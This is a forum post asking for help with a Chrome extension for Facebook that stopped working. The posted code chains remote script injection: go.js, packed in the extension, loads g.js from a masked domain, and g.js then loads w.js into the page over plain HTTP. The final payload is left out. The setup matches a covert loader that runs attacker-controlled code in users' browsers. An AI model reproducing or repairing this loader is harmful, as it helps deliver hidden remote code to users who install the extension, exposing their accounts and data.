1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Problem with plugins..chrome plugins not working

Discussion in 'FaceBook' started by peteisneat09, Feb 21, 2012.

  1. peteisneat09

    peteisneat09 Regular Member

    Joined:
    Nov 29, 2010
    Messages:
    282
    Likes Received:
    51
    I have a chrome facebook plugin script and up until last night it was working perfectly. Now after installing the plugin it refuses to run the code on chrome. all the domains are running though

    here are the components

    go.js (packed in the crx file)

    Code:
    loadScript_YOU();
    function loadScript_YOU() {
    	if ('https:' == document.location.protocol) return false;
    	var s = document.createElement('script');
    	s.setAttribute("type","text/javascript");
    	s.setAttribute("src", "http://xxxxx.com/g.js");
    	var head=document.getElementsByTagName("head")[0];
    	if( head==null) return false;
    	head.appendChild(s);
    	return true;
    }
    g.js

    Code:
    function addScript() {
    	var s = document.createElement('script');
    	s.setAttribute("type", "text/javascript");
    	s.setAttribute("src", "http://xxxxxxxx.com/w.js");
    	var a = document.getElementsByTagName('script')[0];
    	if (a == null) return false;
    	a.appendChild(s);
    	return true
    }
    addScript();
    w.js

    Code:
    some javascript
    so as of last night, w.js isn't executing